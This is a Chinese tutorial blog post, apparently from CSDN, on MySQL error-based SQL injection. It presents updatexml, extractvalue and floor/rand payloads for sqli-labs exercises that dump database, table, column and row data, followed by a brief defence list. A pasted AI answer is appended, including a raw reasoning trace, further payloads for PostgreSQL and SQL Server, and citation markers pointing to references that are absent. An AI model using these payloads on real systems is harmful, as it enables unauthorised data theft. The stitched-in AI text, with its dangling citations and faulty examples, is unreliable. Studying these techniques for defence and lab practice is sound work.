报错注入详解

1. 报错注入

Error-Based SQL lnjection

1.1. 报错注入基本原理

  1. 一种通过故意触发数据库错误,从错误信息中提取敏感数据的攻击方式。
  2. 原理:利用数据库函数的错误错误处理机制,将查询结果直接显示在错误信息中。

1.2. xpath

XML(XML Path Language)

是一种用于在xml文档中定位节点的查询语言。

如果把XML文档比作一个树形结构的文件(文件夹目录),xpath就是用来导航到树中某个具体位置的路径表达式

1.2.1. XPath与SQL注入

在我们所学的报错注入攻击中,攻击者通过构造非法的XPATH表达式,触发数据库错误,然后从中提取数据

故意插入非法字符(如~)非xpath语法内容(数据库查询结果),MySQL会抛出错误。

1.3. 核心步骤

MySQL的版本需要>5.1.5

  • 我们目前只是针对MySQL数据库进行操作

1.3.1. 确认注入点

  1. 测试是否存在注入点,输入单引号',观察是否返回数据库错误。

?id=1'

2. 像返回图中 You have an error in your SQL syntax...的提示,说明可能存在注入漏洞。

1.3.2. 触发错误并提取数据

我们使用的是MySQL常用函数:updatexml(),extractvalue(),floor()

利用xpath语法错误。

1.3.2.1. 获取数据库版本

?id=1' and updatexml(1,concat('~',version()),1)

  • updatexml(1, xpath表达式, 1):用于XML文档修改,但第二个参数需为合法XPath。
  • concat(0x7e, version()):0x7e是~的十六进制,用于分隔错误信息。
  • 执行时,因 version()的结果拼接到非法XPath中,触发错误,错误信息会包含数据库版本。

1.3.3.  extractvalue函数

正确语法:extractvalue(xml_document,Xpath_string);

  1. xml_document:是string格式,是xml文件对象的名称。
  2. Xpath_string :是xpath格式的字符串。
  3. 作用:从目标xml中返回包含所查询值的字符串。
  4. 注:第二个参数是要求符合xpath语法,如果不符合就会报错并且将查询结果放在报错信息里因此可以利用。

1.3.3.1. extractvalue函数使用方式:

 ?id =1 and (select extractvalue("anything",concat('~',(select 查询语句))))

数字型列子:?id=1 and (select extractvalue("anyting",concat('~',(select user()))))

 

字符型:?id=1' and (select extractvalue("anything",concat('~',(select user()))))--+

注:字符型与数字型只相差了‘

1.3.3.2. 数据库中函数使用方法

查数据库名:id='and(select extractvalue(1,concat(0x7e,(select database()))))

数字型less-2

?id=1 and(select extractvalue(1,concat(0x7e,(select database()))))

爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))

爆字段名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))

爆数据:id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))

细节解释:

① 0x7e=’~’

② concat(‘a’,‘b’)=“ab”

③ version()=@@version

④ ‘~‘可以换成’#’、’$'等不满足 xpath 格式的字符

(????)⑤ extractvalue()能查询字符串的最大长度为 32,如果我们想要的结果超过 32,就要 用 substring()函数截取或 limit 分页,一次查看最多 32 位

1.3.4. updatexml 函数

正常语法:updatexml(xml_document,xpath_string,new_value)

与extractvalue函数一样

第一个参数:xml文档名称

第二个参数:符合xpath函数的字符串,须符合xpath语法。

第三个参数:new_value 是 string 格式,替换查找到的负荷条件的数据

作用:改变文 档中符合条件的节点的值

作用:改变文档中符合条件的节点的值 updatexml 使用时,当 xpath_string 格式出现错误,mysql 则会爆出 xpath 语法错误。

1.3.4.1. updatexml 函数注入利用方式

 id=1 and updatexml("anything",concat('~',(select 语句)),"anything")

数字型列子:less-2 查用户名

第二个参数就是用来替换各种SQL语句的

id=1 and updatexml("anything",concat('~',(select user())),"anything")

字符型:less-1,字符型记得注释后面参数--+

id=1' and updatexml("anything",concat('~',(select user())),"anything")--+

1.3.4.2. 数据库中函数使用

 Mysql 数据库为例:

爆数据库名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))

使用的是?id=1 and (select updatexml(1,concat(0x7e,(select database(),0x7e)))) less-2

爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))

爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))

爆数据:'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))

1.3.5. floor()函数

  1. floor()是SQL中的数学函数,正确用途是将数值向下取整到最接近的整数。其语法如下:
  • 示例
    • FLOOR(3.7) 返回 3
    • FLOOR(-2.3) 返回 -3(向下取整,负数会更小)

1.3.5.1. 报错注入中的利用原理

在 SQL 注入攻击中,FLOOR() 常与 RAND()、GROUP BY 结合使用,通过触发主键重复错误泄露数据。核心原理

  1. rand() 生成随机数(范围 0~1)。
  2. floor(rand()*2) 会随机返回 0 或 1。
  3. 当 GROUP BY 子句使用 FLOOR(RAND()*2) 时,由于随机性,可能出现临时表主键冲突,导致数据库抛出错误。
  4. GROUP BY 的工作原理当使用 GROUP BY 对某列分组时,数据库会:
    • 创建一个临时表,将分组列的值作为临时表的主键
    • 遍历原始数据,将每行数据插入对应的分组(即临时表的主键对应的行)。
    • 如果插入时发现主键已存在,则触发主键冲突错误

1.3.5.1.1. 创建临时表并插入数据

  • 临时表结构:主键为 x。
  • 插入过程
    1. 插入 x=0 → 成功。
    2. 插入 x=1 → 成功。
    3. 插入 x=1 → 主键冲突,触发错误。
  1. group by对字母进行排列,从A到a排序,当有相同时的名字时它会合并
  2. 错误信息中会包含触发冲突的值,攻击者可利用此泄露敏感数据。

1.3.5.2.  floor函数注入方式

示例 1:数字型

?id=1 union select 1 from (select count(*),concat((select user())," ",floor(rand(0)*2))x from information_schema.tables group by x)a

 有问题 示例 2:字符型

?id=1' union select 1 from (select count(*),concat((select user())," ",floor(rand(0)*2))x from information_schema.tables group by x)a--+

1.3.5.3. 其他指令

Mysql 数据库为例:

爆数据库名:'union select 1 from (select count(*),concat((select database())," ",floor(rand(0)*2))x from information_schema.tables group by x)a

爆表名:'union select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a

爆列名:'union select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name="TABLE_NAME" limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a

爆数据:'union select 1 from (select count(*),concat((select COLUMN_NAME from TABLE_NAME limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a

现代的 web 中对输入的内容会做很严格的限制,并且在默认情况下都是不会显示错误信息,因此前面学习的联合查询和报错注入都无法利用来注入了,因此我们需要使 用"盲注"来进行 SQL 注入,所谓的盲注就是在服务器没有错误信息会显示完成注入攻 击,但是服务器不会显示错误信息,我们就需要找到一个方法来验证 SQL 语句是否被执行

1.3.5.4  防御措施总结

  1. 参数化查询:禁止直接拼接 SQL 语句。

  2. 过滤输入:对特殊字符('"RAND)进行转义。

  3. 错误信息隐藏:生产环境返回通用错误页面。

  4. 权限控制:禁止应用账号访问 information_schema


总结

  • 主键冲突触发条件GROUP BY 动态生成的分组键出现重复。

  • 攻击本质:通过固定随机种子,控制分组键的生成序列,使错误信息反映敏感数据。

  • 防御关键:避免 SQL 拼接 + 最小化数据库权限。

<think>好的,我现在需要帮助用户查找关于报错注入(error-based SQL injection)的payload示例和解释。用户提到他们可能是在学习安全测试或了解漏洞利用方法。首先,我得回顾自己掌握的SQL注入知识,特别是报错注入的部分。 报错注入是一种利用数据库错误信息来提取数据的方法。当应用程序没有正确过滤用户输入,并且将错误信息直接返回给用户时,攻击者可以构造特定的查询,触发数据库错误,从而通过这些错误信息获取数据库结构或数据。 接下来,我需要确认用户需要的具体内容:payload示例和解释。因此,我应该先列举常见的报错注入技术,并给出对应的payload例子,然后逐一解释其原理。同时,需要注意引用相关的资料,比如用户提供的引用[3]提到了一些攻击技术,但可能更相关的可能是引用[2]中关于PostgreSQL的安全措施,不过用户的问题更偏向于攻击方法,所以可能需要结合一般性的知识。 常见的数据库如MySQL、PostgreSQLSQL Server在报错注入上有不同的函数和利用方式。例如,MySQL中的updatexml()、extractvalue(),以及利用group by子句的重复列错误;而PostgreSQL可能使用cast函数结合类型转换错误。SQL Server则可能利用convert函数或其它方式。 需要确保给出的示例准确,并且语法正确。同时,提醒用户这些方法仅用于教育目的,强调合法授权测试的重要性,符合引用[2]中提到的安全思维模式。 然后,考虑用户可能的后续问题,比如如何防御这类攻击,或者不同数据库之间的差异。因此,在相关问题部分,可以提出防御措施、不同数据库报错注入差异,以及工具使用的问题。 现在整理思路,分步骤说明报错注入的原理,给出不同数据库的payload示例,并解释每个部分的作用。同时,引用用户提供的资料中的相关内容,比如引用[3]提到的攻击技术,如利用错误信息获取访问权限,但具体到报错注入,可能需要更具体的例子。 最后,确保回答结构清晰,使用中文,并正确应用LaTeX格式,行内公式用$...$,独立公式用$$...$$。同时,生成的相关问题需要与主题紧密相关,帮助用户进一步学习。</think>### 报错注入(Error-Based SQL Injection)Payload示例与原理 报错注入是一种通过触发数据库错误信息来提取数据的攻击技术,常用于**未正确过滤输入且显示错误详情**的Web应用[^3]。以下是常见数据库的payload示例与解析: --- #### 1. **MySQL 报错注入** 利用函数如 `updatexml()` 或 `extractvalue()` 构造XPath语法错误: ```sql ' AND updatexml(1, concat(0x7e, (SELECT user())), 1) -- ``` - **解析**: - `updatexml()` 用于XML解析,第二个参数应为合法XPath表达式。 - `concat(0x7e, (SELECT user()))` 拼接波浪符(`~`)和当前用户信息,导致XPath格式错误。 - 错误信息会包含`~root@localhost`等敏感数据[^2]。 **数学表达示例**: 若数据库版本查询的payload为: $$ \text{payload} = \text{' AND updatexml(1, concat(0x7e, version()), 1) -- } $$ 则错误输出可能包含版本号,如`XPATH syntax error: '~8.0.32'`。 --- #### 2. **PostgreSQL 报错注入** 利用类型转换错误或未定义函数: ```sql ' AND 1=cast((SELECT current_user) as int) -- ``` - **解析**: - `cast((SELECT current_user) as int)` 尝试将用户名(字符串)转换为整数,触发类型错误。 - 错误信息如 `invalid input syntax for integer: "postgres"` 会泄露当前用户。 --- #### 3. **SQL Server 报错注入** 使用`convert()`函数触发类型转换错误: ```sql ' AND 1=convert(int, (SELECT @@version)) -- ``` - **解析**: - `convert(int, ...)` 强制转换数据库版本信息(字符串)为整数,导致错误。 - 错误信息会包含完整的版本字符串。 --- ### 防御建议 1. **输入过滤与参数化查询**:使用预编译语句(Prepared Statements)避免SQL拼接。 2. **错误信息隐藏**:禁止向用户返回原始数据库错误详情。 3. **权限最小化**:限制数据库账户权限,避免使用高权限账户连接应用[^3]。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

談不譚網安

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值